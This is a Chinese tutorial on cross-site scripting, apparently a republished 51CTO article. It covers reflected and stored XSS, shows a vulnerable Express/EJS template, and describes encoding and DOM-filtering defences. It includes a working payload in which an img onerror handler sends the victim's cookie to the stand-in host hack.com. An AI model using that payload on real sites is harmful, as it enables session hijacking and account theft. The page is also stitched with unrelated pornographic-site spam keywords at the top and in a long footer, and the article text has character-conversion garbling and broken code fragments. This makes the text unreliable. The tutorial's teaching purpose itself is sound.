精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Web安全之跨站腳本攻擊(XSS)

開發(fā) 前端
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當(dāng)用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執(zhí)行,從而達(dá)到惡意攻擊用戶的目的。

什么是XSS

跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當(dāng)用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執(zhí)行,從而達(dá)到惡意攻擊用戶的目的。

XSS的攻擊場景

  • 反射型這類攻擊方式主要借助URL來實施。URL的構(gòu)成分為協(xié)議、域名、端口、路徑、查詢幾部分構(gòu)成。如圖所示:

 

  • XSS往往在“查詢”部分發(fā)現(xiàn)漏洞構(gòu)造攻擊代碼實施攻擊,所謂“反射”可以理解為hacker并不會直接攻擊客戶,而是通過URL植入代碼通過服務(wù)器獲取并植入到用戶頁面完成攻擊。攻擊流程圖如下:

 

  • 存儲型存儲型攻擊方式和反射型最大的區(qū)別就是不通過URL來傳播,而是利用站點本身合法的存儲結(jié)構(gòu),比如評論。任何用戶都可以通過站點提供的接口提交評論內(nèi)容,這些評論內(nèi)容都被存儲到服務(wù)器的數(shù)據(jù)庫。當(dāng)用戶訪問這些評論的時候,服務(wù)器從數(shù)據(jù)庫提取內(nèi)容插入到頁面反饋給用戶。如果評論內(nèi)容本身是具備攻擊性內(nèi)容,用戶無一幸免。攻擊流程圖如下:

 

從上下兩個流程圖來看,反射型和存儲型的攻擊方式是本質(zhì)不同的,前者需要借助各種社交渠道傳播具備攻擊的URL來實施,后者通過網(wǎng)站本身的存儲漏洞,攻擊成本低很多,而且傷害力更大。

XSS的工作原理

不管是反射型還是存儲型,服務(wù)端都會將JavaScript當(dāng)做文本處理,這些文本在服務(wù)端被整合進(jìn)html文檔中,在瀏覽器解析這些文本的過程也就是XSS被執(zhí)行的時候。

從攻擊到執(zhí)行分為以下幾步:

  1. 構(gòu)造攻擊代碼
  2. 服務(wù)端提取并寫入HTML
  3. 瀏覽器解析,XSS執(zhí)行

構(gòu)造攻擊代碼

hacker在發(fā)現(xiàn)站點對應(yīng)的漏洞之后,基本可以確定是使用“反射型”或者“存儲型”。對于反射型這個很簡單了,執(zhí)行類似代碼:

  1. https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>" 

大家知道很多站點都提供搜索服務(wù),這里的item字段就是給服務(wù)端提供關(guān)鍵詞。如果hacker將關(guān)鍵詞修改成可執(zhí)行的JavaScript語句,如果服務(wù)端不加處理直接將類似代碼回顯到頁面,XSS代碼就會被執(zhí)行。

這段代碼的含義是告訴瀏覽器加載一張圖片,圖片的地址是空,根據(jù)加載機制空圖片的加載會觸發(fā)Element的onerror事件,這段代碼的onerror事件是將本地cookie傳到指定的網(wǎng)站。

很明顯,hacker可以拿到“中招”用戶的cookie,利用這個身份就可以拿到很多隱私信息和做一些不當(dāng)?shù)男袨榱恕?/p>

對于存儲型直接通過讀取數(shù)據(jù)庫將內(nèi)容打到接口上就可以了。

服務(wù)端提取并寫入HTML

我們以 Node.js 應(yīng)用型框架express.js為例:

服務(wù)端代碼(express.js)

  1. router.get('/'function (req, res, next) {   
  2.  
  3.     res.render('index', { 
  4.  
  5.         title: 'Express'
  6.  
  7.         search: req.query.item 
  8.  
  9.     }); 
  10.  
  11. });  

ejs模板

  1. <p> 
  2.  
  3. <%- search %> 
  4.  
  5. </p>  

這里列舉了以反射型為主的服務(wù)端代碼,通過獲取URL的查詢res.query.item,最后在模板中輸出內(nèi)容。對于存儲型的區(qū)別是通過數(shù)據(jù)庫拿到對應(yīng)內(nèi)容,模板部分一致。

瀏覽器解析,XSS執(zhí)行

 

從這個圖上來看瀏覽器解析主要做三件事:

  • 將文檔解析成DOM Tree
  • 解析CSS成規(guī)則樹
  • Javascript解析

在這個過程,XSS的代碼從文本變的可執(zhí)行。

XSS的防范措施

編碼

對于反射型的代碼,服務(wù)端代碼要對查詢進(jìn)行編碼,主要目的就是將查詢文本化,避免在瀏覽器解析階段轉(zhuǎn)換成DOM和CSS規(guī)則及JavaScript解析。

常見的HTML實體編碼如下:

 

除了編碼和解碼,還需要做額外的共奏來解決富文本內(nèi)容的XSS攻擊。

我們知道很多場景是允許用戶輸入富文本,而且也需要將富文本還原。這個時候就是hacker容易利用的點進(jìn)行XSS攻擊。

DOM Parse和過濾

從XSS工作的原理可知,在服務(wù)端進(jìn)行編碼,在模板解碼這個過程對于富文本的內(nèi)容來說,完全可以被瀏覽器解析到并執(zhí)行,進(jìn)而給了XSS執(zhí)行的可乘之機。

為了杜絕悲劇發(fā)生,我們需要在瀏覽器解析之后進(jìn)行解碼,得到的文本進(jìn)行DOM parse拿到DOM Tree,對所有的不安全因素進(jìn)行過濾,最后將內(nèi)容交給瀏覽器,達(dá)到避免XSS感染的效果。

具體原理如下:

 

  • 解碼
  1. var unescape = function(html, options) { 
  2.  
  3.             options = merge(options, decode.options); 
  4.  
  5.             var strict = options.strict; 
  6.  
  7.             if (strict && regexInvalidEntity.test(html)) { 
  8.  
  9.                 parseError('malformed character reference'); 
  10.  
  11.             } 
  12.  
  13.             return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) { 
  14.  
  15.                 var codePoint; 
  16.  
  17.                 var semicolon; 
  18.  
  19.                 var decDigits; 
  20.  
  21.                 var hexDigits; 
  22.  
  23.                 var reference; 
  24.  
  25.                 var next
  26.  
  27.                 if ($1) { 
  28.  
  29.                     // Decode decimal escapes, e.g. ``. 
  30.  
  31.                     decDigits = $1; 
  32.  
  33.                     semicolon = $2; 
  34.  
  35.                     if (strict && !semicolon) { 
  36.  
  37.                         parseError('character reference was not terminated by a semicolon'); 
  38.  
  39.                     } 
  40.  
  41.                     codePoint = parseInt(decDigits, 10); 
  42.  
  43.                     return codePointToSymbol(codePoint, strict); 
  44.  
  45.                 } 
  46.  
  47.                 if ($3) { 
  48.  
  49.                     // Decode hexadecimal escapes, e.g. ``. 
  50.  
  51.                     hexDigits = $3; 
  52.  
  53.                     semicolon = $4; 
  54.  
  55.                     if (strict && !semicolon) { 
  56.  
  57.                         parseError('character reference was not terminated by a semicolon'); 
  58.  
  59.                     } 
  60.  
  61.                     codePoint = parseInt(hexDigits, 16); 
  62.  
  63.                     return codePointToSymbol(codePoint, strict); 
  64.  
  65.                 } 
  66.  
  67.                 if ($5) { 
  68.  
  69.                     // Decode named character references with trailing `;`, e.g. `©`. 
  70.  
  71.                     reference = $5; 
  72.  
  73.                     if (has(decodeMap, reference)) { 
  74.  
  75.                         return decodeMap[reference]; 
  76.  
  77.                     } else { 
  78.  
  79.                         // Ambiguous ampersand. https://mths.be/notes/ambiguous-ampersands 
  80.  
  81.                         if (strict) { 
  82.  
  83.                             parseError( 
  84.  
  85.                                 'named character reference was not terminated by a semicolon' 
  86.  
  87.                             ); 
  88.  
  89.                         } 
  90.  
  91.                         return $0; 
  92.  
  93.                     } 
  94.  
  95.                 } 
  96.  
  97.                 // If we’re still here, it’s a legacy reference for sure. No need for an 
  98.  
  99.                 // extra `if` check
  100.  
  101.                 // Decode named character references without trailing `;`, e.g. `&amp` 
  102.  
  103.                 // This is only a parse error if it gets converted to `&`, or if it is 
  104.  
  105.                 // followed by `=` in an attribute context. 
  106.  
  107.                 reference = $6; 
  108.  
  109.                 next = $7; 
  110.  
  111.                 if (next && options.isAttributeValue) { 
  112.  
  113.                     if (strict && next == '=') { 
  114.  
  115.                         parseError('`&` did not start a character reference'); 
  116.  
  117.                     } 
  118.  
  119.                     return $0; 
  120.  
  121.                 } else { 
  122.  
  123.                     if (strict) { 
  124.  
  125.                         parseError( 
  126.  
  127.                             'named character reference was not terminated by a semicolon' 
  128.  
  129.                         ); 
  130.  
  131.                     } 
  132.  
  133.                     // Note: there is no need to check `has(decodeMapLegacy, reference)`. 
  134.  
  135.                     return decodeMapLegacy[reference] + (next || ''); 
  136.  
  137.                 } 
  138.  
  139.             }); 
  140.  
  141.         };  
  • DOM Parse和過濾
  1. var parse=function(str){   
  2.  
  3.     var results=''
  4.  
  5.     try { 
  6.  
  7.         HTMLParser(str,{ 
  8.  
  9.             start:function(tag,attrs,unary){ 
  10.  
  11.                 if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){ 
  12.  
  13.                     return 
  14.  
  15.                 } 
  16.  
  17.                 results+=""
  18.  
  19.             }, 
  20.  
  21.             end:function(tag){ 
  22.  
  23.                 results+=""+tag+">"
  24.  
  25.             }, 
  26.  
  27.             chars:function(text){ 
  28.  
  29.                 results+=text; 
  30.  
  31.             }, 
  32.  
  33.             comment:function(){ 
  34.  
  35.                 results+="'; 
  36.  
  37.             } 
  38.  
  39.         }) 
  40.  
  41.         return results; 
  42.  
  43.     } catch (e) { 
  44.  
  45.   
  46.  
  47.     } finally { 
  48.  
  49.   
  50.  
  51.     } 
  52.  
  53. }; 
  54.  
  55.   
  56.  
  57.     var dst=parse(str);  

在此展示了部分代碼,其中DOM Parse可以采用第三方的Js庫來完成。

XSS的危害

相信大家都對XSS了有一定的了解,下面列舉幾個XSS影響比較大的事件供參考,做到警鐘長鳴。

  • 微博遭受攻擊案例2011年6月28日晚,新浪微博遭遇到XSS蠕蟲攻擊侵襲,在不到一個小時的時間,超過3萬微博用戶受到該XSS蠕蟲的攻擊。此事件給嚴(yán)重依賴社交網(wǎng)絡(luò)的網(wǎng)友們敲響了警鐘。在此之前,國內(nèi)多家著名的SNS網(wǎng)站和大型博客網(wǎng)站都曾遭遇過類似的攻擊事件,只不過沒有形成如此大規(guī)模傳播。雖然此次XSS蠕蟲攻擊事 件中,惡意黑客攻擊者并沒有在惡意腳本中植入掛馬代碼或其他竊取用戶賬號密碼信息的腳本,但是這至少說明,病毒木馬等黑色產(chǎn)業(yè)已經(jīng)將眼光投放到這個尚存漏洞的領(lǐng)域。
  • 貓撲遭受攻擊案例曾經(jīng)在貓撲大雜燴中存在這樣一個XSS漏洞,在用戶發(fā)表回復(fù)的時候,程序?qū)τ脩舭l(fā)表的內(nèi)容做了嚴(yán)格的過濾,但是我不知道為什么,當(dāng)用戶編輯回復(fù)內(nèi)容再次發(fā)表的時候,他卻采用了另外一種不同的過濾方式,而這種過濾方式顯然是不嚴(yán)密的,因此導(dǎo)致了XSS漏洞的出現(xiàn)。試想一下,像貓撲這樣的大型社區(qū),如果在一篇熱帖中,利用XSS漏洞來使所有的瀏覽這篇帖子的用戶都在不知不覺之中訪問到了另外一個站點,如果這個站點同樣是大型站點還好,但如果是中小型站點那就悲劇了,這將會引來多大的流量啊!更可怕的是,這些流量全部都是真實有效的!

如果本文有描述不準(zhǔn)確或錯誤,歡迎大家指正……,不勝感激。 

責(zé)任編輯:龐桂玉 來源: 前端大全
相關(guān)推薦

2010-09-10 14:13:11

2015-02-01 09:26:10

2013-01-11 17:33:46

2012-11-15 09:51:36

2020-12-21 09:40:06

腳本攻擊XSS漏洞

2012-04-12 14:45:13

2013-01-28 16:44:50

2010-09-29 15:33:51

2012-11-09 15:42:44

2017-05-16 14:25:28

2010-08-30 11:15:38

2010-06-07 20:19:49

2013-05-22 18:06:41

2010-06-30 16:26:05

2009-02-24 17:19:38

2009-03-09 17:19:53

2009-03-09 12:37:48

2010-09-09 11:19:10

2010-09-27 17:37:10

2012-12-18 17:11:58

點贊
收藏

51CTO技術(shù)棧公眾號

毛片视频网站在线观看| 亚洲熟女一区二区| av中文字幕在线播放| 成人av免费观看| 日韩av日韩在线观看| 91麻豆精品久久毛片一级| 日韩高清在线观看一区二区| 欧美视频在线看| 不卡中文字幕在线| 日韩大片b站免费观看直播| 激情欧美一区二区| 国产成人+综合亚洲+天堂| 蜜桃av.com| 综合伊思人在钱三区| 正在播放一区二区| 亚洲成熟丰满熟妇高潮xxxxx| 黄色网址在线免费| 久久先锋影音av鲁色资源网| 91视频网页| 一级久久久久久| 99精品国产一区二区青青牛奶| 日韩中文字幕精品| 亚洲av无码一区二区三区人| 成人av地址| 欧美一卡2卡三卡4卡5免费| 农村妇女精品一二区| 国产不卡人人| 亚洲一区二区美女| 熟妇熟女乱妇乱女网站| av一本在线| 久久亚洲捆绑美女| 精品国产免费人成电影在线观...| 国产精品久久久久久免费免熟| 天堂在线亚洲视频| 欧美亚洲激情视频| 精品无码av在线| 亚洲视频电影在线| 久久精品国产69国产精品亚洲 | 日韩av超清在线观看| 亚洲午夜私人影院| 成人免费a级片| 中国av在线播放| 中文字幕中文字幕一区| 亚洲国产婷婷香蕉久久久久久99| 欧美扣逼视频| 久久久久久久综合狠狠综合| 黄色99视频| 丁香六月天婷婷| 国产成人丝袜美腿| 成人三级在线| 亚洲欧美另类日韩| 成人sese在线| 国产伦精品一区二区三区照片91| japanese国产| 国产精品88888| 动漫3d精品一区二区三区| av 一区二区三区| 国产一区二区0| 97视频资源在线观看| www.xxx国产| 成人一道本在线| 国产精品一区在线观看| 天天色综合久久| 99精品视频中文字幕| 欧美高清一区二区| 高清av电影在线观看| 国产精品伦一区二区三级视频| 亚洲欧美精品| 四虎亚洲精品| 午夜精品影院在线观看| 成人毛片视频网站| 91精品影视| 欧美美女一区二区三区| 尤物网站在线看| 国产乱论精品| 国产亚洲精品美女久久久久| 亚洲精品电影院| 午夜国产精品视频免费体验区| 欧美激情xxxxx| 国产精品100| 蜜桃视频第一区免费观看| 91精品视频免费| 可以免费观看的毛片| 久久久蜜桃精品| 黄瓜视频免费观看在线观看www| 婷婷在线播放| 欧美性黄网官网| 亚洲36d大奶网| 永久免费精品视频| 亚洲色图美腿丝袜| 精品国产欧美日韩不卡在线观看| 9色精品在线| 国产精品一区二区三| 亚洲精品一区二区三区区别| 久久女同精品一区二区| 只有这里有精品| 色偷偷偷在线视频播放| 91精品欧美一区二区三区综合在 | 91麻豆精品在线观看| 亚洲一二三区精品| 99爱在线视频| 欧美日韩成人综合在线一区二区| 在线精品视频播放| 欧美亚洲高清| 午夜精品一区二区三区在线视| www.亚洲激情| 成人h动漫精品一区二区| 视频一区二区三| 欧美aaaaaaa| 欧美日韩三级一区二区| 国产chinese中国hdxxxx| 日韩中文首页| 国产成人精品在线视频| 亚洲不卡免费视频| 国产精品久久看| 那种视频在线观看| 国产成人精品福利| 久久精品一区中文字幕| 99re这里只有精品在线| 99久久精品国产导航| 国产一区二区三区播放| 狠狠久久伊人中文字幕| 亚洲欧美综合v| 国产第100页| 国产精品一区二区在线看| 亚洲免费精品视频| 欧美暴力调教| 亚洲人精品午夜在线观看| 国产情侣在线视频| 国产69精品久久久久毛片| 中文字幕一区二区三区乱码| 欧美日韩五区| 亚洲亚裔videos黑人hd| 国产亚洲欧美在线精品| av影院午夜一区| 99在线免费视频观看| 日韩高清在线观看一区二区| 精品国内自产拍在线观看| 最新中文字幕一区| 91蜜桃视频在线| 日本一道本久久| 色狼人综合干| 2018中文字幕一区二区三区| 欧洲成人一区二区三区| 亚洲激情网站免费观看| 手机看片国产精品| 午夜精品偷拍| 亚洲自拍小视频免费观看| 国产在线高清视频| 欧美一区二区三区喷汁尤物| 久久久久亚洲av片无码| 国产主播一区二区| 午夜久久久久久久久久久| 国产精品久久久久久久久久辛辛| 久久视频国产精品免费视频在线 | 国产精品一区专区| 亚洲精品天堂成人片av在线播放| 一级毛片精品毛片| 欧美黑人国产人伦爽爽爽| www.色播.com| 精品美女国产在线| 蜜桃无码一区二区三区| 蜜桃av一区二区三区| 在线看成人av电影| 免费看日产一区二区三区| 欧美精品激情在线| 日本天堂在线| 欧美丝袜第三区| www.99re7| 成人成人成人在线视频| 久久久久狠狠高潮亚洲精品| 精品久久影院| 91欧美精品成人综合在线观看| 在线你懂的视频| 亚洲国产成人av在线| 亚洲不卡视频在线观看| 国产精品每日更新| 国产乱国产乱老熟300部视频| 一本不卡影院| 一区二区不卡在线观看| 亚洲天堂中文字幕在线观看| 欧美亚洲伦理www| 免费观看成人高潮| 亚洲国产精品小视频| 国产精品露脸视频| 一区二区三区四区五区视频在线观看 | 国产高清不卡二三区| jizzjizz国产精品喷水| 久久综合88| 国产免费高清一区| 巨胸喷奶水www久久久免费动漫| 欧美xxxx14xxxxx性爽| 暖暖视频在线免费观看| 欧美疯狂性受xxxxx喷水图片| 国产无遮挡又黄又爽在线观看| 国产欧美日韩另类一区| 日本一区二区在线观看视频| 日韩av中文在线观看| 中文字幕无码精品亚洲资源网久久| 精品国产乱码久久久久久蜜坠欲下| 亚洲一区二区三区在线视频| av电影一区| 久久久久久国产精品久久| 岛国视频免费在线观看| 亚洲成年网站在线观看| 国产人妖一区二区| 欧美中文字幕不卡| 日韩av大片在线观看| 亚洲欧美成人一区二区三区| 国产视频不卡在线| 97久久超碰国产精品| 色欲无码人妻久久精品| 免费在线欧美视频| 精品一区二区中文字幕| 欧美色图麻豆| 免费看av软件| 色琪琪久久se色| 日韩欧美亚洲日产国产| 欧美人与动xxxxz0oz| 97视频资源在线观看| 天堂久久一区| 国产精品视频yy9099| 亚洲精品一区| 国产91|九色| a√中文在线观看| 欧美激情亚洲综合一区| 黄色网在线免费看| 俺去啦;欧美日韩| 成年人视频网站在线| 亚洲人成自拍网站| 色吊丝在线永久观看最新版本| 亚洲二区在线播放视频| 亚洲国产精彩视频| 欧美成人在线直播| 成人av免费播放| 日韩欧美亚洲一区二区| 国产成人三级一区二区在线观看一 | 国产 日韩 亚洲 欧美| 国内精品久久久久久久影视蜜臀| 国产高清不卡无码视频| 午夜久久福利| 美女扒开大腿让男人桶| 亚洲人成在线影院| 成人免费aaa| 国产精品视频| 免费在线观看的毛片| 青青草97国产精品免费观看 | 国产美女久久| 国产精品青草久久久久福利99| 成人精品电影在线| 国产欧美久久久久久| 国产精品久久久久久久久久久久久久久 | 奇米一区二区三区四区久久| 小早川怜子影音先锋在线观看| 欧美在线视频一区| 日韩在线免费| 成人网在线免费观看| 久久久久久久久成人| 国产精品白丝jk白祙| 天天躁日日躁狠狠躁欧美| 日本一区免费观看| 99精品视频在线观看播放| 亚洲 欧洲 日韩| 韩日欧美一区| 成人免费观看视频在线观看| 日韩精品五月天| 欧洲美女亚洲激情| 不卡av免费在线观看| 久久久久久九九九九九| 中文字幕一区二区三区色视频| 男人的天堂久久久| 精品国产91乱高清在线观看| 波多野结衣理论片| 欧美一级艳片视频免费观看| 香蕉视频911| 精品激情国产视频| caoprom在线| 国产精品日韩在线观看| 亚州一区二区| 欧美重口乱码一区二区| 国产国产精品| 激情深爱综合网| 另类成人小视频在线| 亚洲av熟女高潮一区二区| 久久综合色8888| 91人妻一区二区三区蜜臀| 激情亚洲一区二区三区四区| 亚洲无码久久久久久久| 亚洲第一区中文字幕| 9色在线视频网站| 久久久噜噜噜久久久| 欧美黑粗硬大| 精品婷婷色一区二区三区蜜桃| 99精品在线观看| 日韩av片在线看| 国产一区二区福利| 香蕉视频久久久| 五月婷婷久久丁香| 国产乱码精品一区二区| 亚洲成av人片在线观看香蕉| 日本欧美在线视频免费观看| 2019日本中文字幕| 欧美a在线观看| 亚洲精品一品区二品区三品区 | 亚洲精品高清在线| 亚洲国产成人精品女人久久| 日韩美女一区二区三区四区| 成人网视频在线观看| 97精品视频在线观看| 日韩有吗在线观看| 在线看视频不卡| 男人的j进女人的j一区| 免费看黄色aaaaaa 片| 一区二区三区四区视频精品免费 | 欧美韩国亚洲| 精品久久久久久乱码天堂| 欧美二区不卡| 亚洲免费在线播放视频| 中文字幕免费不卡在线| 亚洲欧美精品一区二区三区| 亚洲国产成人在线播放| 青草视频在线免费直播| 91欧美视频网站| 亚洲国产不卡| 91插插插插插插插插| 国产日韩欧美高清| 波多野结衣午夜| 亚洲欧美国产视频| 在线最新版中文在线| 精品久久一区二区三区蜜桃| 在线成人av| 中文字幕第3页| 黄色一区二区在线| 色偷偷在线观看| 91精品国产777在线观看| 99re8这里有精品热视频免费| 波多野结衣 作品| 国产精品一区不卡| 青青草偷拍视频| 日韩亚洲欧美一区二区三区| 在线你懂的视频| 国产精品成人一区二区三区 | 国外成人在线播放| 精品无人区一区二区| 黄色大片在线免费看| 99久久99久久久精品齐齐| 青青青国产在线| 国产一区二区三区视频免费| 国产69精品久久久久9999人| 一区二区精品国产| 国产乱人伦精品一区二区在线观看 | 亚洲午夜电影在线| 五月婷中文字幕| 日韩免费在线视频| 不卡一区2区| 一区二区三区国产好的精华液| 亚洲精品乱码久久久久久黑人| 后入内射欧美99二区视频| 69视频在线播放| 精品国精品国产自在久国产应用| 九九热99视频| 怡红院av一区二区三区| 韩国av在线免费观看| 青青草原一区二区| 日本一区二区三区视频| 日韩久久久久久久久久久| 亚洲妇熟xx妇色黄| 免费国产在线视频| 成人激情黄色网| 亚洲第一毛片| 中国特黄一级片| 日韩欧美一区二区不卡| 在线观看福利电影| 亚洲精品美女久久7777777| 懂色av中文一区二区三区| 区一区二在线观看| 久久中文字幕国产| 日韩手机在线| theporn国产精品| 欧美日韩在线视频观看| 麻豆影院在线观看| 国产一区二区在线网站| 美女一区二区久久| 国产真人真事毛片| 国产亚洲欧美aaaa| 国产成人福利av| 久久国产精品国产精品| 午夜成人免费电影| 麻豆免费在线观看| 欧美日韩亚洲在线| 国产精品一区二区你懂的| 国产熟妇一区二区三区四区| 欧美激情欧美激情| 欧美美女视频| 制服丝袜第一页在线观看| 欧美日本在线播放| 电影一区二区三区| 国产91沈先生在线播放| 亚洲国产精品av| 色久视频在线播放|